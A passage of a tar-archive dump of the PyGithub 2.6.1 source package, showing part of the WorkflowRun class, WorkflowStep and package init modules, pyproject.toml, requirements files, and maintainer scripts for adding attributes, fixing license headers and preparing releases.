self._check_suite_node_id: Attribute[str] = NotSet self._check_suite_url: Attribute[str] = NotSet self._conclusion: Attribute[str] = NotSet self._created_at: Attribute[datetime] = NotSet self._display_title: Attribute[str] = NotSet self._event: Attribute[str] = NotSet self._head_branch: Attribute[str] = NotSet self._head_commit: Attribute[GitCommit] = NotSet self._head_repository: Attribute[Repository] = NotSet self._head_repository_id: Attribute[int] = NotSet self._head_sha: Attribute[str] = NotSet self._html_url: Attribute[str] = NotSet self._id: Attribute[int] = NotSet self._jobs_url: Attribute[str] = NotSet self._logs_url: Attribute[str] = NotSet self._name: Attribute[str] = NotSet self._node_id: Attribute[str] = NotSet self._path: Attribute[str] = NotSet self._previous_attempt_url: Attribute[str] = NotSet self._pull_requests: Attribute[list[PullRequest]] = NotSet self._referenced_workflows: Attribute[list[dict[str, Any]]] = NotSet self._repository: Attribute[Repository] = NotSet self._repository_id: Attribute[int] = NotSet self._rerun_url: Attribute[str] = NotSet self._run_attempt: Attribute[int] = NotSet self._run_number: Attribute[int] = NotSet self._run_started_at: Attribute[datetime] = NotSet self._status: Attribute[str] = NotSet self._triggering_actor: Attribute[NamedUser] = NotSet self._updated_at: Attribute[datetime] = NotSet self._url: Attribute[str] = NotSet self._workflow_id: Attribute[int] = NotSet self._workflow_url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"id": self._id.value, "url": self._url.value}) @property def actor(self) -> NamedUser: self._completeIfNotSet(self._actor) return self._actor.value @property def artifacts_url(self) -> str: self._completeIfNotSet(self._artifacts_url) return self._artifacts_url.value @property def cancel_url(self) -> str: self._completeIfNotSet(self._cancel_url) return self._cancel_url.value @property def check_suite_id(self) -> int: self._completeIfNotSet(self._check_suite_id) return self._check_suite_id.value @property def check_suite_node_id(self) -> str: self._completeIfNotSet(self._check_suite_node_id) return self._check_suite_node_id.value @property def check_suite_url(self) -> str: self._completeIfNotSet(self._check_suite_url) return self._check_suite_url.value @property def conclusion(self) -> str: self._completeIfNotSet(self._conclusion) return self._conclusion.value @property def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property def display_title(self) -> str: self._completeIfNotSet(self._display_title) return self._display_title.value @property def event(self) -> str: self._completeIfNotSet(self._event) return self._event.value @property def head_branch(self) -> str: self._completeIfNotSet(self._head_branch) return self._head_branch.value @property def head_commit(self) -> GitCommit: self._completeIfNotSet(self._head_commit) return self._head_commit.value @property def head_repository(self) -> Repository: self._completeIfNotSet(self._head_repository) return self._head_repository.value @property def head_repository_id(self) -> int: self._completeIfNotSet(self._head_repository_id) return self._head_repository_id.value @property def head_sha(self) -> str: self._completeIfNotSet(self._head_sha) return self._head_sha.value @property def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property def jobs_url(self) -> str: self._completeIfNotSet(self._jobs_url) return self._jobs_url.value @property def logs_url(self) -> str: self._completeIfNotSet(self._logs_url) return self._logs_url.value @property def name(self) -> str: self._completeIfNotSet(self._name) return self._name.value @property def node_id(self) -> str: self._completeIfNotSet(self._node_id) return self._node_id.value @property def path(self) -> str: self._completeIfNotSet(self._path) return self._path.value @property def previous_attempt_url(self) -> str: self._completeIfNotSet(self._previous_attempt_url) return self._previous_attempt_url.value @property def pull_requests(self) -> list[PullRequest]: self._completeIfNotSet(self._pull_requests) return self._pull_requests.value @property def referenced_workflows(self) -> list[dict[str, Any]]: self._completeIfNotSet(self._referenced_workflows) return self._referenced_workflows.value @property def repository(self) -> Repository: self._completeIfNotSet(self._repository) return self._repository.value @property def repository_id(self) -> int: self._completeIfNotSet(self._repository_id) return self._repository_id.value @property def rerun_url(self) -> str: self._completeIfNotSet(self._rerun_url) return self._rerun_url.value @property def run_attempt(self) -> int: self._completeIfNotSet(self._run_attempt) return self._run_attempt.value @property def run_number(self) -> int: self._completeIfNotSet(self._run_number) return self._run_number.value @property def run_started_at(self) -> datetime: self._completeIfNotSet(self._run_started_at) return self._run_started_at.value @property def status(self) -> str: self._completeIfNotSet(self._status) return self._status.value @property def triggering_actor(self) -> github.NamedUser.NamedUser: self._completeIfNotSet(self._triggering_actor) return self._triggering_actor.value @property def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property def workflow_id(self) -> int: self._completeIfNotSet(self._workflow_id) return self._workflow_id.value @property def workflow_url(self) -> str: self._completeIfNotSet(self._workflow_url) return self._workflow_url.value def get_artifacts(self) -> PaginatedList[Artifact]: return PaginatedList( github.Artifact.Artifact, self._requester, self._artifacts_url.value, None, list_item="artifacts", ) def cancel(self) -> bool: """ :calls: `POST /repos/{owner}/{repo}/actions/runs/{run_id}/cancel `_ """ status, _, _ = self._requester.requestJson("POST", self.cancel_url) return status == 202 def rerun(self) -> bool: """ :calls: `POST /repos/{owner}/{repo}/actions/runs/{run_id}/rerun `_ """ status, _, _ = self._requester.requestJson("POST", self.rerun_url) return status == 201 def rerun_failed_jobs(self) -> bool: """ :calls: `POST /repos/{owner}/{repo}/actions/runs/{run_id}/rerun-failed-jobs `_ """ status, _, _ = self._requester.requestJson("POST", f"{self.url}/rerun-failed-jobs") return status == 201 def timing(self) -> TimingData: """ :calls: `GET /repos/{owner}/{repo}/actions/runs/{run_id}/timing `_ """ headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/timing") return TimingData(billable=data["billable"], run_duration_ms=data["run_duration_ms"]) # type: ignore def delete(self) -> bool: """ :calls: `DELETE /repos/{owner}/{repo}/actions/runs/{run_id} `_ """ status, _, _ = self._requester.requestJson("DELETE", self.url) return status == 204 def jobs(self, _filter: Opt[str] = NotSet) -> PaginatedList[WorkflowJob]: """ :calls "`GET /repos/{owner}/{repo}/actions/runs/{run_id}/jobs `_ :param _filter: string `latest`, or `all` """ assert is_optional(_filter, str), _filter url_parameters = NotSet.remove_unset_items({"filter": _filter}) return PaginatedList( github.WorkflowJob.WorkflowJob, self._requester, self.jobs_url, url_parameters, list_item="jobs", ) def _useAttributes(self, attributes: dict[str, Any]) -> None: if "actor" in attributes: # pragma no branch self._actor = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["actor"]) if "artifacts_url" in attributes: # pragma no branch self._artifacts_url = self._makeStringAttribute(attributes["artifacts_url"]) if "cancel_url" in attributes: # pragma no branch self._cancel_url = self._makeStringAttribute(attributes["cancel_url"]) if "check_suite_id" in attributes: # pragma no branch self._check_suite_id = self._makeIntAttribute(attributes["check_suite_id"]) if "check_suite_node_id" in attributes: # pragma no branch self._check_suite_node_id = self._makeStringAttribute(attributes["check_suite_node_id"]) if "check_suite_url" in attributes: # pragma no branch self._check_suite_url = self._makeStringAttribute(attributes["check_suite_url"]) if "conclusion" in attributes: # pragma no branch self._conclusion = self._makeStringAttribute(attributes["conclusion"]) if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "display_title" in attributes: # pragma no branch self._display_title = self._makeStringAttribute(attributes["display_title"]) if "event" in attributes: # pragma no branch self._event = self._makeStringAttribute(attributes["event"]) if "head_branch" in attributes: # pragma no branch self._head_branch = self._makeStringAttribute(attributes["head_branch"]) if "head_commit" in attributes: # pragma no branch self._head_commit = self._makeClassAttribute(github.GitCommit.GitCommit, attributes["head_commit"]) if "head_repository" in attributes: # pragma no branch self._head_repository = self._makeClassAttribute( github.Repository.Repository, attributes["head_repository"] ) if "head_repository_id" in attributes: # pragma no branch self._head_repository_id = self._makeIntAttribute(attributes["head_repository_id"]) if "head_sha" in attributes: # pragma no branch self._head_sha = self._makeStringAttribute(attributes["head_sha"]) if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "jobs_url" in attributes: # pragma no branch self._jobs_url = self._makeStringAttribute(attributes["jobs_url"]) if "logs_url" in attributes: # pragma no branch self._logs_url = self._makeStringAttribute(attributes["logs_url"]) if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "path" in attributes: # pragma no branch self._path = self._makeStringAttribute(attributes["path"]) if "previous_attempt_url" in attributes: # pragma no branch self._previous_attempt_url = self._makeStringAttribute(attributes["previous_attempt_url"]) if "pull_requests" in attributes: # pragma no branch self._pull_requests = self._makeListOfClassesAttribute( github.PullRequest.PullRequest, attributes["pull_requests"] ) if "referenced_workflows" in attributes: # pragma no branch self._referenced_workflows = self._makeListOfDictsAttribute(attributes["referenced_workflows"]) if "repository" in attributes: # pragma no branch self._repository = self._makeClassAttribute(github.Repository.Repository, attributes["repository"]) if "repository_id" in attributes: # pragma no branch self._repository_id = self._makeIntAttribute(attributes["repository_id"]) if "rerun_url" in attributes: # pragma no branch self._rerun_url = self._makeStringAttribute(attributes["rerun_url"]) if "run_attempt" in attributes: # pragma no branch self._run_attempt = self._makeIntAttribute(attributes["run_attempt"]) if "run_number" in attributes: # pragma no branch self._run_number = self._makeIntAttribute(attributes["run_number"]) if "run_started_at" in attributes: # pragma no branch assert attributes["run_started_at"] is None or isinstance(attributes["run_started_at"], str), attributes[ "run_started_at" ] self._run_started_at = self._makeDatetimeAttribute(attributes["run_started_at"]) if "status" in attributes: # pragma no branch self._status = self._makeStringAttribute(attributes["status"]) if "triggering_actor" in attributes: # pragma no branch self._triggering_actor = self._makeClassAttribute( github.NamedUser.NamedUser, attributes["triggering_actor"] ) if "updated_at" in attributes: # pragma no branch self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) if "workflow_id" in attributes: # pragma no branch self._workflow_id = self._makeIntAttribute(attributes["workflow_id"]) if "workflow_url" in attributes: # pragma no branch self._workflow_url = self._makeStringAttribute(attributes["workflow_url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/WorkflowStep.py0000644000175100001660000001301314756101563017266 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2020 Victor Zeng # # Copyright 2023 Enrico Minack # # Copyright 2023 Jeppe Fihl-Pearson # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from datetime import datetime from typing import Any, Dict from github.GithubObject import Attribute, CompletableGithubObject, NotSet class WorkflowStep(CompletableGithubObject): """ This class represents steps in a Workflow Job. The reference can be found here https://docs.github.com/en/rest/reference/actions#workflow-jobs """ def _initAttributes(self) -> None: self._completed_at: Attribute[datetime] = NotSet self._conclusion: Attribute[str] = NotSet self._name: Attribute[str] = NotSet self._number: Attribute[int] = NotSet self._started_at: Attribute[datetime] = NotSet self._status: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"number": self._number.value, "name": self._name.value}) @property def completed_at(self) -> datetime: self._completeIfNotSet(self._completed_at) return self._completed_at.value @property def conclusion(self) -> str: self._completeIfNotSet(self._conclusion) return self._conclusion.value @property def name(self) -> str: self._completeIfNotSet(self._name) return self._name.value @property def number(self) -> int: self._completeIfNotSet(self._number) return self._number.value @property def started_at(self) -> datetime: self._completeIfNotSet(self._started_at) return self._started_at.value @property def status(self) -> str: self._completeIfNotSet(self._status) return self._status.value def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "completed_at" in attributes: # pragma no branch self._completed_at = self._makeDatetimeAttribute(attributes["completed_at"]) if "conclusion" in attributes: # pragma no branch self._conclusion = self._makeStringAttribute(attributes["conclusion"]) if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) if "number" in attributes: # pragma no branch self._number = self._makeIntAttribute(attributes["number"]) if "started_at" in attributes: # pragma no branch self._started_at = self._makeDatetimeAttribute(attributes["started_at"]) if "status" in attributes: # pragma no branch self._status = self._makeStringAttribute(attributes["status"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/__init__.py0000644000175100001660000001243114756101563016362 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 sharkykh # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Adam Baratz # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Alice GIRARD # # Copyright 2020 Emily # # Copyright 2020 Liuyang Wan # # Copyright 2020 Steve Kowalik # # Copyright 2023 Denis Blanchette # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ """ The primary class you will instantiate is :class:`github.MainClass.Github`. From its ``get_``, ``create_`` methods, you will obtain instances of all Github objects like :class:`github.NamedUser.NamedUser` or :class:`github.Repository.Repository`. All classes inherit from :class:`github.GithubObject.GithubObject`. """ import logging from . import Auth from .AppAuthentication import AppAuthentication from .GithubException import ( BadAttributeException, BadCredentialsException, BadUserAgentException, GithubException, IncompletableObject, RateLimitExceededException, TwoFactorException, UnknownObjectException, ) from .GithubIntegration import GithubIntegration from .GithubRetry import GithubRetry from .InputFileContent import InputFileContent from .InputGitAuthor import InputGitAuthor from .InputGitTreeElement import InputGitTreeElement from .MainClass import Github # set log level to INFO for github logger = logging.getLogger("github") logger.setLevel(logging.INFO) logger.addHandler(logging.StreamHandler()) def set_log_level(level: int) -> None: """ Set the log level of the github logger, e.g. set_log_level(logging.WARNING) :param level: log level. """ logger.setLevel(level) def enable_console_debug_logging() -> None: # pragma no cover (Function useful only outside test environment) """ This function sets up a very simple logging configuration (log everything on standard output) that is useful for troubleshooting. """ set_log_level(logging.DEBUG) __all__ = [ "Auth", "AppAuthentication", "BadAttributeException", "BadCredentialsException", "BadUserAgentException", "enable_console_debug_logging", "Github", "GithubException", "GithubIntegration", "GithubRetry", "IncompletableObject", "InputFileContent", "InputGitAuthor", "InputGitTreeElement", "RateLimitExceededException", "TwoFactorException", "UnknownObjectException", ] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/py.typed0000644000175100001660000000000014756101563015735 0ustar00runnerdocker././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/pyproject.toml0000644000175100001660000000524514756101563015710 0ustar00runnerdocker[build-system] build-backend = "setuptools.build_meta" requires = ["setuptools>=64", "setuptools_scm>=7"] [project] authors = [{ name = "Vincent Jacques", email = "vincent@vincent-jacques.net" }] classifiers = [ "Development Status :: 5 - Production/Stable", "Environment :: Web Environment", "Intended Audience :: Developers", "License :: OSI Approved :: GNU Library or Lesser General Public License (LGPL)", "Operating System :: OS Independent", "Programming Language :: Python", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.8", "Programming Language :: Python :: 3.9", "Programming Language :: Python :: 3.10", "Programming Language :: Python :: 3.11", "Programming Language :: Python :: 3.12", "Topic :: Software Development", ] description = "Use the full Github API v3" keywords = ["github"] name = "PyGithub" readme = "README.md" requires-python = ">=3.8" dynamic = ["version"] dependencies = [ "pynacl>=1.4.0", "requests>=2.14.0", "pyjwt[crypto]>=2.4.0", "typing-extensions>=4.0.0", "urllib3>=1.26.0", "Deprecated", ] [project.urls] Documentation = "https://pygithub.readthedocs.io/en/stable/" Source = "https://github.com/pygithub/pygithub" Tracker = "https://github.com/pygithub/pygithub/issues" [project.optional-dependencies] integrations = [] [tool.setuptools_scm] [tool.setuptools] packages = ["github"] [tool.setuptools.package-data] github = ["py.typed", '*.pyi'] [tool.mypy] python_version = '3.8' ignore_missing_imports = true namespace_packages = true [[tool.mypy.overrides]] module = ["github.*"] check_untyped_defs = true disallow_untyped_defs = true warn_no_return = false [tool.black] # https://github.com/psf/black line-length = 120 [tool.docformatter] recursive = true # some docstring start with r""" wrap-summaries = 119 wrap-descriptions = 120 blank = true pre-summary-newline = true make-summary-multi-line = true [tool.codespell] skip = 'tests/*' quiet-level = 3 # comma separated list of words; waiting for: # https://github.com/codespell-project/codespell/issues/2839#issuecomment-1731601603 # also adding links until they ignored by its: nature # https://github.com/codespell-project/codespell/issues/2243#issuecomment-1732019960 ignore-words-list = "bloaded,nto,pullrequest,pullrequests,thi,tim,wan,Wan,chang,chang,manuel" [tool.ruff] line-length = 120 # Enable Pyflakes `E` and `F` codes by default. select = [ "E", # see: https://pypi.org/project/pycodestyle "W", # see: https://pypi.org/project/pyflakes "F", # see: isort "I", ] ignore = ["E501", "E741"] ignore-init-module-imports = true unfixable = ["F401"] [tool.pytest.ini_options] python_files = "tests/*.py" addopts = "--color=yes" ././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1740145533.6222405 pygithub-2.6.1/requirements/0000755000175100001660000000000014756101576015515 5ustar00runnerdocker././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/requirements/docs.txt0000644000175100001660000000005414756101563017201 0ustar00runnerdockersphinx <3 Jinja2 <3.1 sphinx-rtd-theme <1.1 ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/requirements/test.txt0000644000175100001660000000016014756101563017226 0ustar00runnerdockerpytest >=5.3 pytest-cov >=2.8 pytest-github-actions-annotate-failures <1.0.0 pytest-subtests >=0.11.0 responses ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/requirements/types.txt0000644000175100001660000000006714756101563017421 0ustar00runnerdockermypy >=1.0.0 types-deprecated types-jwt types-requests ././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1740145533.6232405 pygithub-2.6.1/scripts/0000755000175100001660000000000014756101576014461 5ustar00runnerdocker././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/scripts/add_attribute.py0000644000175100001660000002112614756101563017644 0ustar00runnerdocker#!/usr/bin/env python ############################ Copyrights and license ############################ # # # Copyright 2013 Vincent Jacques # # Copyright 2014 Thialfihar # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 Yossarian King # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Isac Souza # # Copyright 2020 Steve Kowalik # # Copyright 2020 Wan Liuyang # # Copyright 2021 karsten-wagner <39054096+karsten-wagner@users.noreply.github.com># # Copyright 2022 Gabriele Oliaro # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Jonathan Leitschuh # # Copyright 2023 Trim21 # # Copyright 2024 Jacky Lam # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations import os.path import sys className, attributeName, attributeType = sys.argv[1:4] if len(sys.argv) > 4: attributeClassType = sys.argv[4] else: attributeClassType = "" types = { "string": ( "str", None, 'self._makeStringAttribute(attributes["' + attributeName + '"])', "str", ), "int": ( "int", None, 'self._makeIntAttribute(attributes["' + attributeName + '"])', "int", ), "bool": ( "bool", None, 'self._makeBoolAttribute(attributes["' + attributeName + '"])', "bool", ), "datetime": ( "datetime", "str", 'self._makeDatetimeAttribute(attributes["' + attributeName + '"])', "datetime", ), "dict": ( "dict[" + attributeClassType + "]", None, 'self._makeDictAttribute(attributes["' + attributeName + '"])', "dict[" + attributeClassType + "]", ), "class": ( ":class:`" + attributeClassType + "`", None, "self._makeClassAttribute(" + attributeClassType + ', attributes["' + attributeName + '"])', attributeClassType, ), } attributeDocType, attributeAssertType, attributeValue, attributeClassType = types[attributeType] if attributeType == "class": # Wrap in quotes to avoid an explicit import requirement which can cause circular import errors attributeClassType = f"'{attributeClassType}'" fileName = os.path.join("github", className + ".py") def add_as_class_property(lines: list[str]) -> list[str]: newLines = [] i = 0 added = False isCompletable = True isProperty = False while not added: line = lines[i].rstrip() i += 1 if line.startswith("class "): if "NonCompletableGithubObject" in line: isCompletable = False elif line == " @property": isProperty = True elif line.startswith(" def "): attrName = line[8:-7] # Properties will be inserted after __repr__, but before any other function. if (not attrName.startswith("__repr__") and not attrName.startswith("_initAttributes")) and ( attrName == "_identity" or attrName > attributeName or not isProperty ): if not isProperty: newLines.append(" @property") newLines.append(" def " + attributeName + "(self) -> " + attributeClassType + ":") if isCompletable: newLines.append(" self._completeIfNotSet(self._" + attributeName + ")") newLines.append(" return self._" + attributeName + ".value") newLines.append("") if isProperty: newLines.append(" @property") added = True isProperty = False newLines.append(line) while i < len(lines): line = lines[i].rstrip() i += 1 newLines.append(line) return newLines def add_to_initAttributes(lines: list[str]) -> list[str]: newLines = [] added = False i = 0 inInit = False while not added: line = lines[i].rstrip() i += 1 if line.strip().startswith("def _initAttributes(self)"): inInit = True if inInit: if not line or line.endswith(" = github.GithubObject.NotSet") or line.endswith(" = NotSet"): if line: attrName = line[14:-29] if not line or attrName > attributeName: newLines.append(f" self._{attributeName}: Attribute[{attributeClassType}] = NotSet") added = True newLines.append(line) while i < len(lines): line = lines[i].rstrip() i += 1 newLines.append(line) return newLines def add_to_useAttributes(lines: list[str]) -> list[str]: i = 0 newLines = [] added = False inUse = False while not added: try: line = lines[i].rstrip() except IndexError: line = "" i += 1 if line.strip().startswith("def _useAttributes(self, attributes:"): inUse = True if inUse: if not line or line.endswith(" in attributes: # pragma no branch"): if line: attrName = line[12:-36] if not line or attrName > attributeName: newLines.append(' if "' + attributeName + '" in attributes: # pragma no branch') if attributeAssertType: newLines.append( ' assert attributes["' + attributeName + '"] is None or isinstance(attributes["' + attributeName + '"], ' + attributeAssertType + '), attributes["' + attributeName + '"]' ) newLines.append(f" self._{attributeName} = {attributeValue}") added = True newLines.append(line) while i < len(lines): line = lines[i].rstrip() i += 1 newLines.append(line) return newLines with open(fileName) as f: source = f.readlines() source = add_as_class_property(source) source = add_to_initAttributes(source) source = add_to_useAttributes(source) with open(fileName, "w", newline="\n") as f: f.write("\n".join(source) + "\n") ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/scripts/fix_headers.py0000755000175100001660000002012114756101563017307 0ustar00runnerdocker#!/usr/bin/env python ############################ Copyrights and license ############################ # # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2020 Wan Liuyang # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Jonathan Leitschuh # # Copyright 2024 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ import os import subprocess eightySharps = "#" * 80 def generateLicenseSection(filename): yield "############################ Copyrights and license ############################" yield "# #" for year, name in sorted(listContributors(filename)): line = "# Copyright " + year + " " + name line += (79 - len(line)) * " " + "#" yield line yield "# #" yield "# This file is part of PyGithub. #" yield "# http://pygithub.readthedocs.io/ #" yield "# #" yield "# PyGithub is free software: you can redistribute it and/or modify it under #" yield "# the terms of the GNU Lesser General Public License as published by the Free #" yield "# Software Foundation, either version 3 of the License, or (at your option) #" yield "# any later version. #" yield "# #" yield "# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY #" yield "# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS #" yield "# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more #" yield "# details. #" yield "# #" yield "# You should have received a copy of the GNU Lesser General Public License #" yield "# along with PyGithub. If not, see . #" yield "# #" yield "################################################################################" def listContributors(filename): contributors = set() result = subprocess.check_output( ["git", "log", "--follow", "--format=format:%ad %an <%ae>", "--date=short", "--", filename], text=True, ) for line in result.split("\n"): year = line[0:4] name = line[11:] contributors.add((year, name)) return contributors def extractBodyLines(lines): bodyLines = [] seenEndOfHeader = False for line in lines: if len(line) > 0 and line[0] != "#": seenEndOfHeader = True if seenEndOfHeader: bodyLines.append(line) # else: # print "HEAD:", line if line == eightySharps: seenEndOfHeader = True # print "BODY:", "\nBODY: ".join(bodyLines) return bodyLines class PythonHeader: def fix(self, filename, lines): isExecutable = len(lines) > 0 and lines[0].startswith("#!") newLines = [] if isExecutable: newLines.append("#!/usr/bin/env python") for line in generateLicenseSection(filename): newLines.append(line) bodyLines = extractBodyLines(lines) if len(bodyLines) > 0 and bodyLines[0] != "": newLines.append("") if "import " not in bodyLines[0] and bodyLines[0] != '"""' and not bodyLines[0].startswith("##########"): newLines.append("") newLines += bodyLines return newLines class StandardHeader: def fix(self, filename, lines): newLines = [] for line in generateLicenseSection(filename): newLines.append(line) bodyLines = extractBodyLines(lines) if len(bodyLines) > 0 and bodyLines[0] != "": newLines.append("") newLines += bodyLines return newLines def findHeadersAndFiles(): for root, dirs, files in os.walk(".", topdown=True): for dir in list(dirs): if dir.startswith("."): dirs.remove(dir) for excluded in ["developer.github.com", "build", "venv", "PyGithub.egg-info", "requirements", "pre-commit"]: if excluded in dirs: dirs.remove(excluded) for filename in files: fullname = os.path.join(root, filename) if filename == "GithubCredentials.py": pass elif filename.endswith(".py"): yield (PythonHeader(), fullname) elif filename in ["COPYING", "COPYING.LESSER", "MAINTAINERS"]: pass elif filename.endswith(".rst") or filename.endswith(".md"): pass elif filename == ".gitignore": yield (StandardHeader(), fullname) elif "ReplayData" in fullname: pass elif fullname.endswith(".pyi"): pass elif fullname.endswith(".pyc"): pass else: print(f"Don't know what to do with {filename} in {root}") def main(): for header, filename in findHeadersAndFiles(): print("Analyzing", filename) with open(filename, encoding="utf-8") as f: lines = list(line.rstrip() for line in f) newLines = header.fix(filename, lines) if newLines != lines: print(" => actually modifying", filename) with open(filename, "w", encoding="utf-8") as f: for line in newLines: f.write(line + "\n") if __name__ == "__main__": main() ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/scripts/prepare_release.sh0000755000175100001660000000102514756101563020150 0ustar00runnerdocker#!/bin/bash set -eo pipefail # update file headers python scripts/fix_headers.py # creates a changelog based on the commits from the previous version until now previousVersion=$(git tag -l --merged main | tail -n1) changelog=$(tail -n +6 doc/changes.rst) gitlog=$(git log $previousVersion.. --oneline --pretty=format:'* %s (%h)') today=$(date "+(%B %d, %Y)") echo -e "Change log\n==========\n\nStable versions\n~~~~~~~~~~~~~~~\n\nVersion ?.?.? $today\n-----------------------------------\n\n$gitlog\n$changelog" > doc/changes.rst ././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1740145533.8422425 pygithub-2.6.1/setup.cfg0000644000175100001660000000004614756101576014613 0ustar00runnerdocker[egg_info] tag_build = tag_date = 0 ././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1740145533.6462407 pygithub-2.6.1/tests/0000755000175100001660000000000014756101576014134 